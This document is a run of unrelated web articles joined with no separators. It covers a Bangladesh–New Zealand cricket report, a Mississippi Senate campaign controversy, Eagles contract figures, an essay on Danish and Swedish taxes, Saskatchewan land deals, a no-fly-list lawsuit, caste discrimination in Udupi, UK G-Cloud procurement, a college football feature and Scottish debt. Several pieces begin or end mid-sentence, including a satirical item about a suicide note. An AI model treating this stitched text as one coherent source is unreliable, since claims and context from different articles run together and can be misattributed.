Grant Elliott and Daniel Vettori combined following Taylor's exit and set about quietly repairing the damage with a partnership worth 86 runs. The pair battled through the initial tough period, taking few risks and picking up the singles on offer to keep the score moving along, albeit at a snail's pace. The batsmen rode their luck early on too. Vettori offered a regulation chance off Mahmudullah but Junaid Siddique at slip made a hash of it, and Vettori was lucky to survive an excellent lbw shout off the same bowler in his next over. Elliott was also rapped on the pads by a Shakib Al Hasan delivery that was heading towards middle stump, but may have just been hit outside the line, which created enough doubt in the umpire's mind to rule not-out.
The pair became more adventurous as they spent time at the crease, picking up the occasional boundary and hitting the gaps with ease as the field began to spread. Vettori even waltzed down the pitch to loft Abdur Razzak over long-on for six in the 26th over, but fell attempting to swing Shakib over midwicket soon after, as Shafiul Islam made good ground to take a fantastic diving catch.
New Zealand still required 69 to win with four wickets remaining when Vettori perished and Nathan McCullum's dismissal soon after made things even tougher. Kyle Mills provided support for Elliott in a 26-run stand, but when Elliott departed for a determined 59 with 30 runs still to get, the game swung once again in Bangladesh's favour.
Mills wasn't about to give up without a fight however, as he set about shepherding the sole remaining tailender, Hamish Bennett, while slamming the Bangladesh bowlers to all parts during the batting Powerplay. He crashed boundaries down the ground and over cover in the final overs. When eight runs were required from the last over with Mills on strike, the match was poised for a thoroughly gripping finale.
Rubel's first delivery of the final over was a full toss on the pads and Mills swung it around to the fine-leg boundary to make it four needed off five. The match had ebbed and flowed throughout the chase and it seemed that New Zealand were once again on top with Mills having to hit just one more boundary with the field restrictions in play. Rubel made sure he had the last word however, following up the errant first ball with two terrific yorkers, the second of which took out Mills' leg stump, sparking a thunderous ovation from the crowd.
The match had been set up by an excellent bowling performance from the New Zealand attack, who dismissed the hosts for 174 in 44.2 overs. New Zealand made early breakthroughs through Kyle Mills and Andy McKay before choking the runs in the middle period to trigger a lower-order collapse that left Bangladesh defending a meagre total.
Daniel Vettori was at his miserly best through the middle overs, giving away just 32 runs and claiming three wickets. His double-strike in consecutive overs to get rid of Raqibul Hasan and Imrul Kayes put the hosts firmly on the back foot at 77 for 4, before Shakib and Mushfiqur Rahim came together in a 55-run stand that rescued the Bangladesh innings from an embarrassing collapse.
Allrounder Elliott dismissed both batsmen in quick succession however, and combined well with fast bowler Hamish Bennett, playing his second game, to put together a parsimonious six-over patch where just five runs were scored for the loss of one wicket. Elliott's short spell summed up New Zealand's tight bowling performance during the middle period - his four overs costing just seven runs and yielding two wickets.
The Bangladesh lower-order failed to offer any sort of resistance, succumbing meekly to some intelligent bowling from the tourists and losing their last six wickets for just 42 runs. The modest total proved to be enough for the hosts however, who completed a whitewash that will be talked about in Bangladesh for years to come.
Andrew Fernando writes for The Pigeon and blogs here
© ESPN Sports Media Ltd.After months of struggling with depression and loneliness, frequent Bleacher Report contributor Steve Reinhardt penned a suicide note the only way he knew how: in a ranked list.
Displayed in slideshow format, which forced his grieving family to click through multiple pages to read the whole note, Reinhardt outlined the “Top 10 Reasons Why I Can’t Go On Living in this Cruel World.”
More from Kayfabe News
Ironically, Reason #10 was: “Can’t remember how to communicate in any way other |
Sojourner to Simms, McDaniel's manager says she was made aware of the incident late Friday evening. She emphasized that their campaign was appalled, and that McDaniel himself was disgusted by Kelly's actions and wanted to speak to Cochran directly to express his outrage."
A GOP aide who has listened to the voicemail also confirmed to The Clarion-Ledger that Sojourner said that McDaniel "was upset about the whole thing and wanted to talk to Cochran" about it.
However, that does not match up with what McDaniel told The Hill in DeSoto County on Saturday morning when he said he knew nothing about the arrest at that time. Noel Fritsch, McDaniel's communications director, also said early Saturday morning when contacted by The Clarion-Ledger that he had not heard of the arrest.
UPDATE 1: Noel Fritsch, spokesman for the Chris McDaniel campaign, issued the following statement:
"The McDaniel campaign found out about the break in when a local political blog posted about it at 11:40 p.m. last night. Senator McDaniel has denounced the break-in and called Senator Cochran to extend his condolences. It is unconscionable for the Cochran campaign and the liberal media to use the act of a sick individual to lob despicable accusations."
The Clarion-Ledger has asked for clarification on the statement as to which blog reported that the arrest was connected to Rose Cochran or how the campaign knew the arrest was related to Rose Cochran since the only known report last night did not mention Cochran's name.
UPDATE 2: Tea Party Patriots Chairman Jenny Beth Martin released the following statement on the arrest:
"Exploiting another human being for gain is deplorable in any circumstance. To use the elderly for some sick, perceived political advantage is despicable. We condemn this vile act in no uncertain terms.
"The Defendant has never donated to the Tea Party Patriots or the Tea Party Patriots Citizens Fund. He is not in any of our data bases, and we have had no email exchanges with him.
"There are plenty of legitimate issues to be debated in this campaign. And while we condemn this criminal act, we look forward to a primary election to decide these issues."
In recent days, the Tea Party Patriots held press conferences pushing the issue of Cochran's overseas travel with a female aide from whom the senior senator leases a basement apartment in D.C. They endorsed McDaniel early in the campaign.
ORIGINAL STORY
U.S. Sen. Thad Cochran's campaign is questioning how Chris McDaniel's campaign manager, state Sen. Melanie Sojourner, apparently knew about Clayton Kelly's arrest before news of him allegedly sneaking into Rose Cochran's nursing home room and taking photos broke.
RELATED: Man arrested for sneaking into Thad Cochran's wife's nursing home
Cochran campaign spokesman Jordan Russell said Sojourner left a voice mail message for Cochran campaign manager Kirk Sims at about 7:45 a.m. on Saturday, offering condolences over Kelly's alleged actions and assurance McDaniel's campaign doesn't condone it. Russell said Sojourner indicated she had been concerned over the incident since Friday night.
Kelly was arrested Friday night by the Madison Police Department. Police released a statement about Kelly's arrest late that night, but neither it and nor initial news reports mentioned Rose Cochran. The release only included a brief statement about his charge of exploitation of a vulnerable adult. The blog Jackson Jambalaya was the first to report the arrest and post the statement from Madison police.
A Clarion-Ledger article posted online at 9:24 a.m. broke the news about a connection between the arrest and the Cochrans.
McDaniel campaign spokesman Noel Fritsch, contacted at 9:47 a.m., said he knew nothing about the arrest or news. Sen. McDaniel, interviewed for an article by the Capitol Hill publication The Hill less than an hour after the Clarion-Ledger story broke, said he knew nothing about it and "I don't guess I've been up long enough to see what's happened."
Russell said "this appears to be an inconsistent story," from McDaniel and his campaign.
"I think it would be interesting to know how she would hear about it before 7:45 a.m.," Russell said.
Sojourner could not be reached for comment.
Fritsch, contacted by telephone after the Cochran campaign raised the questions, had no immediate response, and requested any such questions be emailed in writing, which they were. There was no immediate response.
Contact Geoff Pender at (601) 961-7266 or [email protected]. Follow @GeoffPender on Twitter.
Read or Share this story: http://on.thec-l.com/1gBfFBBThe Eagles made a flurry of moves in the past two days by extending the contracts of offensive linemen Jason Peters (story) and Jason Kelce (story) while signing wide receiver Riley Cooper to a new deal. The numbers touted in these announced deals always give an inflated sense of how much the contract is actually worth. The key number to look at is the guaranteed money. With that said, here's a closer look at how the new contracts break down. Big hat tip to Over the Cap for the salary information.
Contract: 5 years, $22.5 million
Guaranteed: $10 million ($8M in full guarantees, $2 million in injury guarantees that will vest to full guarantees if on the roster on the 5th day of the respective League Year)
Signing Bonus: $4 million
APY: $4.5 million
Salary Rank: 34 out of 305 WR
Year Base Salary Prorated Bonus Roster Bonus Workout Bonus Other Bonus Cap Number Dead Money Cap Savings 2014 $1,000,000 $800,000 $0 $0 $0 $1,800,000 $8,000,000 ($6,200,000) 2015 $4,000,000 $800,000 $0 $0 $0 $4,800,000 $6,200,000 ($1,400,000) 2016 $4,500,000 $800,000 $0 $0 $0 $5,300,000 $2,400,000 $2,900,000 2017 $4,200,000 $800,000 $0 $0 $0 $5,050,000 $1,600,000 $3,450,000 2018 $4,750,000 $800,000 $0 $0 $0 $5,550,000 $800,000 $4,750,000
Contract: 6 year, $37.5 million (extension)
Guaranteed: $10,398,000 million ($2,602,000 of 2016 salary is guaranteed for injury only and will become fully guaranteed on the 5th day of the League Year)
Signing Bonus: $6 million
APY: $6.25 million
Salary Rank: 6 out of 76 C
Escalators: Yearly $200,000 Pro Bowl bonus
Year Base Salary Prorated Bonus Roster Bonus Workout Bonus Other Bonus Cap Number Dead Money Cap Savings 2014 $1,398,000 $1,224,358 $0 $0 $0 $2,622,358 $10,422,358 ($7,800,000) 2015 $3,000,000 $1,200,000 $0 $0 $0 $4,200,000 $7,800,000 ($3,600,000) 2016 $4,000,000 $1,200,000 $0 $0 $0 $5,200,000 $3,600,000 $1,600,000 2017 $5,000,000 $1,200,000 $0 $0 $0 $6,200,000 $2,400,000 $3,800,000 2018 $6,000,000 $1,200,000 $0 $0 $0 $7,200,000 $1,200,000 $6,000,000 2019 $6,500,000 $0 $0 $0 $0 $6,500,000 $0 $6,500,000 2020 $7,000,000 $0 $0 $0 $0 $7,000,000 $0 $7,000,000
Contract: 4 year, $38.3 million (extension)
Guaranteed: $19.55 million ($15.75M full guarantees, $2.8 million of his 2015 salary and $1 million of his 2016 salary is guaranteed for injury only. If Peters is on the roster on the 5th day of the respective League Year those injury only guarantees will become full guarantees)
Signing Bonus: $5 million
Roster Bonus: $5 million
APY: $9,575,000
Salary Rank: 7 out of 74 LT
Escalators: Peters can earn up to $500,000 in per game active roster bonuses in 2015 and 2016. His contact also includes $3 million in possible escalators that are earned by being selected to the Pro Bowl and/or the All-Pro team.
Year Base Salary Prorated Bonus Roster Bonus Workout Bonus Other Bonus Cap Number Dead Money Cap Savings 2014 $1,750,000 $1,292,000 $5,000,000 $250,000 $0 $8,292,000 $16,042,000 ($7,750,000) 2015 $6,800,000 $1,000,000 $500,000 $250,000 $0 $8,550,000 $8,000,000 $550,000 2016 $7,550,000 $1,000,000 $500,000 $250,000 $0 $9,300,000 $3,000,000 $6,300,000 2017 $9,950,000 $1,000,000 $0 $250,000 $0 $11,200,000 $2,000,000 $9,200,000 2018 $10,000,000 $1,000,000 $0 $250,000 $0 $11,250,000 $1,000,000 $10,250,000
As you can see from the numbers, these deals are relatively team friendly. The Eagles are ponying up a good amount of cash in the short term ($42.55M guaranteed), but these deals leave the Eagles with flexibility in the future. None of the contracts will be hard to get out of beyond 2015, as there is very little guaranteed money (~$4.5M) owed by then.
These deals appear to be just another masterstroke of cap management from Eagles General Manager Howie Roseman. The Eagles maintained to lock up some of their key offensive pieces, while paying them fairly, without having to completely jeopardize their salary cap space flexibility.Taxes reduce the payoff to entrepreneurship, investment, and work effort. If taxation is too heavy, these disincentives will weaken a nation’s economy. But at what point does the harmful impact kick in? And how large is it?
A puzzle
Half a century ago, in 1960, taxes totaled about a quarter of GDP in Denmark, Sweden, and the United States. The tax take then began to rise in Denmark and Sweden, reaching half of GDP by the mid-1980s, where it has remained. In America it has barely budged, hovering between 25% and 30% of GDP throughout the past five decades.
Has heavy taxation hurt the Danish and Swedish economies? If so, how much?
Begin with GDP per capita. America’s is higher than Denmark’s or Sweden’s. But that’s a legacy of the distant past. Growth of per capita GDP in the three countries has been virtually identical, both in the five decades since 1960 when the divergence in tax levels began and in the three decades since the 1970s (shown in the chart) when the tax difference has been most pronounced.
(Here and throughout I use 2007, the peak year of the pre-crash business cycle, as the end point. Adding the crash and its aftermath would improve the standing of Denmark and Sweden relative to the U.S.)
Each year since 2001 the World Economic Forum has scored most of the world’s countries on a “competitiveness” index. The index aims to assess the quality of twelve components of a nation’s economy: institutions, infrastructure, macroeconomic stability, health and primary education, higher education and training, goods market efficiency, labor market efficiency, financial market sophistication, technological readiness, market size, business sophistication, and innovation. In 2007 Denmark and Sweden were judged to be nearly identical to the United States in competitiveness. That was true throughout the decade. It also was true for the “innovation” components of the index in particular.
Employment, measured as average hours of paid work per working-age person, is a little lower in Denmark and Sweden (more here ). A larger share of working-age Danes and Swedes are employed — around 76%, compared to 72% in the U.S. But employed Danes and Swedes tend to work fewer hours than employed Americans — about 1,600 per year versus 1,800. This is due in large part to the fact that Danes and Swedes have more than five weeks of legally-mandated paid vacations and holidays, whereas Americans have none. This gap, in turn, is a function of historical differences in the strength of unions.
Employment hours increased between 1979 and 2007 in all three countries. The rate of growth was fastest in Denmark, followed by the U.S. and then Sweden.
Household income (after taxes and transfers) is higher in the United States at the ninetieth percentile (p90) of the distribution and at the median (p50). This owes to differences in per capita GDP, in income inequality, and in the degree to which citizens receive their income in the form of (tax-financed) public services. Here too the U.S. has not gained ground in recent decades. Household incomes in the middle of the distribution have grown more rapidly in Denmark and Sweden than in the U.S. (shown in the chart), and at the ninetieth percentile they’ve increased at about the same pace.
At the tenth percentile (p10), incomes are higher in Denmark and Sweden. And they’ve increased more. (See here and here.)
Denmark and Sweden have done better than the United States at keeping government debt in check.
Have high taxes required a sacrifice of liberty? Not according to the Freedom House measure of civil liberties or the Heritage Foundation-Wall St. Journal measure of economic freedom.
Finally, consider two social indicators of well-being: life expectancy and life satisfaction. On both counts, Danes and Swedes fare, on average, just as well as or better than their American counterparts.
If heavy taxation has harmful economic effects, why have Denmark and Sweden performed similarly to the United States during a period of several decades in which their taxes were much higher than America’s?
Three explanations that sidestep the puzzle
One common explanation is that small size facilitates administrative efficiency. The Danish and Swedish governments can function effectively because their scale is manageable. They are “big” governments, but in small countries. This might be true, but to say that heavy taxation isn’t a problem if government works well is to say that heavy taxation isn’t in and of itself a problem.
A second explanation looks to the mix of taxes countries use. The Nordic countries rely disproportionately on consumption taxes; in 2007 consumption taxes totaled 16% of GDP in Denmark and 13% in Sweden, compared to just 5% in the U.S. These are said to create less in the way of investment and work disincentives than do taxes on individual and corporate income.
Yet there is a sizeable difference in income taxation too. In the U.S. income taxes were 14% of GDP in 2007, versus 19% in Sweden and a whopping 29% in Denmark. More important, to suggest that heavy taxation isn’t harmful given an effective tax mix is to suggest that a high level of taxation per se is not necessarily harmful.
A third explanation points to tax compliance. Each April most Swedes receive a pre-prepared tax form. The relevant information about income, deductions, and the amount still owed or to be refunded has already been filled in by the Swedish Tax Agency. If the information is correct, the taxpayer simply confirms that by mail, telephone, or text message. Pre-prepared tax returns not only are more convenient for taxpayers; they also reduce cheating. Greater compliance, in turn, is likely to make heavy taxation more workable. If cheating is extensive, tax rates need to be higher in order to raise a given quantity of revenue, which increases the likelihood of disincentive effects on entrepreneurship, investment, and work effort. In a tax system with minimal cheating, more revenue can be raised at moderate tax rates.
This can’t be done in the United States, so the argument goes, because the American tax code (unlike its Swedish counterpart) has too many available deductions and rebates. But the U.S. could simplify its tax code to enable pre-preparation. Moreover, even with this advantage, income tax rates in Denmark and Sweden are a good bit higher than in the U.S. And a large portion of Danish and Swedish tax revenues come via payroll and/or consumption taxes, which are less vulnerable to evasion, in those countries and in the U.S. as well.
Two explanations that attempt to address the puzzle
Here are two accounts of Danish and Swedish economic performance that don’t sidestep the question of tax levels’ impact.
The first is hypothetical; I don’t know of anyone who’s offered this argument explicitly. It says that the adverse effect of taxation kicks in once a country passes 15% or 20% or 25% of GDP, and it doesn’t worsen the farther beyond that you go. Denmark, Sweden, and the United States each exceeded 25% already by 1960, so in this story we would expect the three countries to have experienced similar (poor) economic performance in subsequent years.
This hypothesis doesn’t strike me as especially compelling. None of the world’s rich nontiny democracies have had tax levels below 25% of GDP since the 1970s, and only a few have been below that level since 1960. Yet a number of these countries have had relatively good economic outcomes during this period.
A second explanation says the Danish and Swedish economies have performed similarly to America’s despite heavier taxes because they have some advantage(s) that I haven’t adjusted for. This certainly would be true if I had chosen Norway as one of the comparison countries. Norway’s economy has been boosted by extensive oil resources. Has Denmark or Sweden had any such advantage?
One possibility is catch-up. Laggard countries can get an economic growth boost by borrowing technology from the leaders. But this has become less relevant for Denmark and Sweden in recent decades, as they’ve invested heavily in education and R&D and become technological leaders in their own right (more here).
Ethnic and cultural homogeneity is sometimes mentioned as a key economic asset of the Nordic countries. This might help, though in rich nations diversity may have some benefits as well.
Corporatist policy making, which features institutionalized participation by business and labor representatives, is associated with faster economic growth in affluent countries in recent decades. This may have helped Denmark and Sweden. Yet both countries have made their share of policy mistakes.
Of course, the United States has some important advantages of its own, including a huge domestic market, excellent universities, a culture that prizes innovation and entrepreneurship, a well-developed venture capital system, bankruptcy laws that facilitate risk-taking, a tradition of regional mobility, and an attractiveness to talented immigrants. The question is: If taxation at Danish and Swedish levels has a significant negative economic effect, do Denmark and Sweden have advantages relative to the U.S. that are large enough to have fully offset that effect in recent decades? It’s a difficult question to answer with any certainty, but I think probably not.
A challenge
At what point does the harmful impact of taxes on the economy kick in? And how large is it? The Danish and Swedish experiences over the past generation pose a challenge for those who believe the answers to these two questions are “somewhere below 50% of GDP” and “large.” It’s a challenge that in my view has yet to be met.Premier Brad Wall has said he would be interested in doing “whatever we can to make sure people understand” that there was no conflict of interest or mistakes of bad faith made in the Global Transportation Hub (GTH) land deals.
On Thursday, a majority-government committee once again voted against an NDP Opposition-led motion supporting key witnesses testifying at a public accounts meeting focused on the deals.
Two businessmen with financial ties to the governing Saskatchewan Party made millions off of those deals, in part by helping to skyrocket the value of 204 acres of land bought by the province between 2013 and 2014 at a price that was, according to the province, too high and an overspend of taxpayer money.
This was the third time government members of the committee have moved to prevent those witnesses from coming forward.
“It’s further confirmation that they’ll go to great lengths to obfuscate and not be transparent or accountable,” said the NDP’s Cathy Sproule after the votes were counted.
One of the people Sproule and the NDP hope to question is Laurie Pushor, a key negotiator in the deals and the chief of staff for then-economy GTH minister, Bill Boyd.
Because of the role he played, Pushor could shed light on why the government paid inflated prices for the 204 acres. Given his position as Boyd’s chief of staff, he could also testify to what Boyd knew about the deals before they took place and whether or not there was any wrongdoing on the part of elected officials or those who profited from the land sales.
“Laurie Pushor, in particular, is incredibly important to the story because we know he was the one appointed by the head of the GTH to make a special deal, and that it was kind of a deal with special conditions on it,” said Sproule. “We know the final purchase price he settled on was $103,000 to $105,000 an acre, which is double (the value) of any appraisal we’ve seen.”
Government MLA Paul Merriman, who was sitting on the public accounts committee Thursday, said the provincial auditor has already done the work and interviewed everybody involved. He said her investigation was “wider than it’s ever been with anybody doing any type of investigation” and that he is confident in her findings, which featured a number of recommendations to improve how government buys land.
He added that the government is “not blocking any witnesses” and pointed out that it is up to ministry officials — not elected government members — who decide who comes forward to testify at the committee.
Public account procedures say that in exceptional circumstance the committee can request the appearance of a particular individual.
It is, however, “usual practice of the committee to allow the deputy minister or senior official to determine” who should attend the meetings.
The current deputy minister for the Ministry of Economy and the GTH happens to be Pushor.
After voting against the motion that would have helped bring Pushor forward, Merriman was asked if he thought the public had a right to hear from Pushor, who has not spoken publicly about the deals.
“That’s up for the committee to decide. It’s not for me as an individual,” Merriman said.
[email protected]
Twitter.com/dcfraserA U.S. Air Force veteran living abroad is alleging in a lawsuit filed Friday that he has been unjustly detained in Turkey because of his inclusion on the U.S. no-fly list and that his plight demonstrates that the list is unconstitutional.
Saadiq Long, 46, who was born in Oklahoma but considers Qatar his home, alleges that he was detained by Turkish authorities in October because he was on the list and his passport was flagged. He has not, according to the suit, been charged in Turkey with any crimes.
The episode was not Long’s first encounter with the no-fly list. In 2012, according to the suit, he was prevented from flying to the United States to visit his sick mother, and after he was eventually allowed to do so, he had to take a bus to Mexico to fly out. And while Long’s suit seeks specifically to have him removed from the no-fly list so that he can leave Turkey, it is broadly critical of the way the United States uses terror watch lists to strip citizens, especially American Muslims, such as him, of their rights.
[The Guardian’s telling of Saadiq’s Long experience in 2012, when he was prevented from visiting his sick mother]
“Through extra-judicial and secret means, the federal government is ensnaring individuals into an invisible web of consequences that are imposed indefinitely and without recourse as a result of the shockingly large federal watch lists that now include hundreds of thousands of individuals,” the lawsuit alleges.
In 2014 photo, a TSA officer, left, checks a passenger's boarding pass as part of security screening at John F. Kennedy International Airport in New York. A U.S. Air Force veteran on Friday sued over his inclusion on the no-fly list, alleging it has kept him detained in Turkey. (Mark Lennihan/AP)
The suit comes as the no-fly list is at the center of a curious national debate. President Obama and other Democrats are pushing to have it expanded to gun buyers, while some in the Republican Party are resistant to that idea. The lawsuit alleges that inclusion on the no-fly list can have consequences for those on it beyond denying them the ability to board a commercial airliner. It notes that Connecticut’s governor has said he intends to issue an executive order banning gun sales to those on federal terror watch lists.
The suit was filed in federal court in Alexandria, Va., where a judge this year ruled that the way the United States implemented its no-fly list was unconstitutional years ago, when it was used to detain a Virginia teenager in Kuwait. That decision wasn’t especially groundbreaking — a federal judge in Oregon had declared as much — but Gadeir Abbas, who represented the Virginia teen and is now representing Long, said Long’s lawsuit could have more-far-reaching ramifications.
That is because Long’s lawsuit challenges the no-fly list more directly, asserting that putting him on it violated his right to “substantive due process,” Abbas said.
The suit names U.S. Attorney General Loretta E. Lynch, FBI Director James B. Comey and Department of Homeland Security Secretary Jeh Johnson, among others, as defendants. A Justice Department spokeswoman said officials had just received the suit and were reviewing it.
Julia Mason, a State Department spokeswoman, wrote in an email that officials there were “aware of reports that a U.S. citizen was arrested in Turkey” but declined to provide other details, citing “privacy considerations.”
“The protection of U.S. citizens overseas is one of the Department of State’s highest priorities,” Mason wrote. “The department stands ready to provide all appropriate consular assistance.”
Long’s suit says that he went to Turkey to explore work opportunities and see the country where he was stationed while in the U.S. Air Force. The suit alleges that the United States “has indicated that it will issue a one-time waiver for” Long and his family to fly from there to the United States.
The suit notes, though, that would not remove Long from the no-fly list and asserts he and his family “cannot make a responsible decision about whether to return to the United States by plane without knowing that they will be able to later leave the United States by plane.”Udupi: The humiliation of a woman assistant professor by an employee of the Udupi Krishna Mutt who refused to serve her food recently because she was not a Brahmin, has kicked off a row in this temple town with progressive thinkers and activists strongly protesting such discrimination against devotees.
Ms Vanitha N Shetty, an assistant professor from Manipal, who was at the “Bhojana Shala,” (dining hall) of the Udupi Krishna Mutt on April 15, was taken aback when a server who realised she was a not a Brahmin but a Bunt, asked her to leave, telling her the ground floor was reserved for Brahmins and food was served to non- Brahmins on the first floor of the dining hall. An upset Ms Shetty preferred to leave without having the meal she had come for.
Enraged by her humiliation, activists have submitted a memorandum to the authorities, calling for an end to discrimination based on caste among diners at the math.
District president of Karnataka Komu Sauhardha Vedike, G Rajashekhar says it’s time the government banned the “Pankti Bedha,” or separate seating arrangements for Brahmins and other castes in the mutt's dining hall. “We do not want the government to take control of the temple, but it must put an end to this practice,” he told Deccan Chronicle.
When contacted, math media coordinator, Venugopal Rao said paryaya seer, Sri Vidhyavallabha Teertha Swamiji, had expressed regret at the incident and steps had been taken to ensure it didn’t happen again. “The swamiji has promised to discuss the matter of bringing changes with the other seven seers. He will see to it that they are not hurt again,” he added.The government has announced the introduction of a second initiative based around the SME-friendly G-Cloud framework. The initiative will give more companies an opportunity to supply G-Cloud services through the CloudStore online catalogue. Speaking at a recent press conference, Cabinet Office minister, Francis Maude, maintained that the government was able to make this announcement because it had already made ‘significant progress’ in implementing its ICT strategy. The second phase of the G-Cloud framework will be launched because of the overwhelming response generated by the first tender. Over 600 expressions of interest were received: the Government Procurement Service subsequently awarded framework agreements to around 250 suppliers, of which around three-quarters are SMEs.
The new announcement follows a report published by the Cabinet Office at the end of May which claimed that the creation of CloudStore, the online marketplace for cloud ICT services, was one of the principal achievements of the first year of the implementation of the Government’s ICT Strategy, Mr Maude put this success down to the significant advantages offered by the new G-Cloud framework: it introduces a number of features which he believes will promote innovation and make it more accessible to SMEs, such as open procedures with no lengthy pre-qualification questionnaire, less stringent requirements of financial history, simplified mandatory questions and specifications, and the provision of services on standard terms.
Speaking at the launch of the second phase of the G-Cloud framework, Mr Maude stated:
“We are reforming the way the public sector uses ICT so that it is cheaper, more transparent, more innovative and flexible – with more opportunities for SMEs to enter the marketplace. Today’s report on the first year of implementing the ICT Strategy confirms that we are making significant progress and are prepared to meet the challenges ahead.”
“Our ICT Strategy is all about the public sector avoiding the expense and inefficiency of developing different systems and duplicating services that cannot be shared. This off-the-shelf, pay-as-you-go approach is a great example, and G-Cloud services typify the cheaper more agile model for government IT that our ICT Strategy is making positive strides towards.”
The ICT Strategy to which he referred is part of a wide-ranging programme of reform to make government cheaper, more efficient and provide improved public services: the programme managed to deliver savings of £3.75 billion in 2010/11 and is currently on target to deliver around a further saving of £5 billion in 2011/12. The government’s commitment to efficiency and value for money, Mr Maude claimed, is clearly demonstrated by the recent deals signed by the Procurement Service with the major IT suppliers Capgemini and Oracle: these deals will deliver savings of £200m and £75m respectively by 2015. Mr Maude also stated that the other notable successes of the first year of the new strategy – establishing the CIO Delivery Board which is responsible for driving implementation of the strategy across government, launching the Public Services Network procurements and awarding the PSN Connectivity Framework agreements, and launching the Government Digital Service in an attempt to establish a single government domain, GOV.UK, will lead to further savings and efficiencies over the remainder of the current parliament.Today I picked up my package from Santa!
The first thing I saw was the black box of Cards Against Humanity. That's a game that I have been dying to try and have been planning on getting for a long time.
Secondly I saw a little book that turned out to be The Wit and Wisdom of Tyrion Lannister. A book filled with quotes from our favorite fictional dwarf. That is definitely going to be a fun read!
And thirdly (!) I got the Graphic Novel The Fountain. I had never heard of it even though I love Darren Aronofsky and Requiem for a Dream is one of my favourite movies but this seems amazing! The art by Kent Williams is beautiful and reading this will be a treat!
All in all Santa came with incredible gifts this year so a huge shoutout to /u/WarbossPepe for making this years Secret Santa great!AUSTIN, Texas -- He was called the face of the Longhorns’ program all offseason long, including here. He was named Big 12 preseason Defensive Player of the Year in the summer. This was supposed to be Malik Jefferson’s year.
His sophomore season isn’t meeting the grand expectations he and everyone else had going into 2016. The 3-4 Longhorns are stuck in a rut, and so is their most-adored star.
The player around whom Charlie Strong built his Texas rebuild is having a hard time busting out of a sophomore slump, and it’s starting to affect his playing time. Jefferson was only on the field for 55 percent of Texas’ snaps on defense last weekend in a 24-21 loss at Kansas State.
Longhorns LB Malik Jefferson has struggled under the weight of expectations as a sophomore. John Rivera/Icon Sportswire
Whether or not you want to call that being benched, it was clear Texas coaches tried to shake things up at linebacker in the hopes backups Edwin Freeman, Tim Cole and Jeffrey McCulloch could help provide better results.
So what exactly is wrong here? Why isn’t one of Texas’ most talented and exciting players enjoying the breakout year he and everyone else expected?
Jefferson has not done interviews for the past two weeks, but two of his veteran teammates offered insight Monday into what Texas’ young star needs to do to get his season back on track.
Cole, the senior backing up Jefferson at Mike linebacker, says he wouldn’t necessarily call this a funk. He just wants to see the sophomore get back to basics and avoid “making things bigger than they are.” From his perspective, this is just a learning experience.
And from where he sits, Cole can appreciate the overbearing challenge of trying to live up to all the hype that Jefferson has accumulated over the past three-plus years.
“A lot of people put this unnecessary pressure on you,” Cole said. “I’m not saying he gives into it, but the media plays into a lot of added pressure on him. I just tell him don’t worry about that, drown that out, just focus on the team and what you came here for.”
Texas senior defensive tackle Paul Boyette Jr. wants Jefferson to understand that, no matter what anybody says, he needs to worry only about doing his job and doing it well.
“Honestly, he’s been down on himself, putting so much pressure on himself,” Boyette said. “He’s got to learn to just relax and just go with the flow. Every football player has a slump. You’re not going to go out there and just make every play. Like I told him, you’re human. Everybody who plays the game is human. You’ll get nicks and bruises, aches and pains.”
Through seven games, Jefferson has logged 40 tackles but only 3.5 for loss. He has two sacks and zero takeaways. It’s easy to argue his talents are being misused at the Mike spot, but he also has been in position a number of times to make big sacks and stops behind the line of scrimmage and has missed.
Cole points out having the right mentality is easy as a true freshman. You just go out and play and figure it out along the way. The game is different for a sophomore, especially one getting so much attention.
The Longhorns having lost four of their last five is a burden he has put on his shoulders, too. After a few of those disappointments, Jefferson responded by saying he needed to be a better, more vocal leader. He has carried himself with a level of maturity since arriving in Austin last year that can make people forget he’s still a sophomore, not a senior. He’s not supposed to have all of the answers.
Texas linebackers coach Brian Jean-Mary shared some concerns in August that read a bit prescient today. He admitted he was not comfortable with reporters referring to Jefferson as the face of the program.
He believed that title created unfair expectations. Jean-Mary didn’t like it when Teddy Bridgewater starting hearing that talk at Louisville, either.
“I would never put that type of pressure on a young man,” Jean-Mary said. “This is still amateur athletics. You want a kid to still feel like the college student we ask them to be. I think that’s unfair pressure to put on a young man to say he’s the face of a program, especially a program the size of the University of Texas.”
To bust out of his slump in a huge game Saturday against No. 8 Baylor, Jefferson doesn’t need to be Superman or The Predator or the face of anything. He just needs to get back to doing his job and making plays.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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AFP ahead of Madurai's polling day on Thursday, in the phased general election that winds up in mid-May. "It is only when they hear what I have to say and see me in person that they can get past the fact that I am a transgender," she said.
Kannamma has been involved in the transgender community for quite some time, having come out in 2004, leaving her bank job to fight for rights for the trans community as well as for those in poverty. Armed with a masters degree in sociology, a four-person campaign team, and an $83/day budget, Kannamma is fighting through the world of nepotism, bribery, and general corruption that India's political world is often steeped in.
"I have nothing to fear and I have no vested interest in being corrupt and the people see that," she said. She's also campaigning on a wider ticket than transgender rights. "I would develop the city's infrastructure and importantly, rid its systems of corruption and bring it on par with the country's top cities," she said.
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While that's an incredibly tall order from a completely grassroots candidate, Kannamma seems to be a perfect candidate to make some really game-changing moves for the LGBT community and other marginalized populations with no strings attached.In reality, the Treasury had little choice but to take responsibility for the UK's entire debt stock in the event of Scottish independence.
That had always been seen as the preferred option, but as investors returned for the new year and the referendum was suddenly on the horizon they were hungry for reassurance. Their questions over who is on the hook for paying back UK bonds are answered: The UK continues to cover the debt and – this is the tricky question – it must separately agree with a new Scottish government how to share that burden.
The announcement from the government on Monday that it would cover all issued UK government bonds, known as gilts, also makes for reassuring headlines for those voting in the referendum. With a whole list of economic uncertainties around independence and the potential unwinding of 300 years of constitutional union, it is one less thing to worry about.
But it is those holding UK debt that this announcement was really aimed at. There were two possibilities: this cover-all plan and a clean break option, where the bonds currently out there are divvied up and some are designated as falling under the new Scottish government's responsibility.
Both options are likely to do some damage to Britain's perceived creditworthiness as its bondholders grapple with the concept of a brand new country. But the second option would have had the most serious implications for the UK's credit rating and could even have amounted to Britain defaulting on its debt, something that hasn't happened since Charles II.
Ross Walker, UK economist at Royal Bank of Scotland, said the clean break option might equate to a technical default by the UK government because the counterparty on the transferred bonds would change and the new counterparty – Scotland – would not share the same credit characteristics as the original UK issuer of the debt.
"The British state can just print money to service debt in extremis... if Scotland is independent it would not have that formal printing press option. I wouldn't want to overstate this but there is a technical credit risk and a higher default risk," he said.
In his mind, such a move would invite legal challenges.
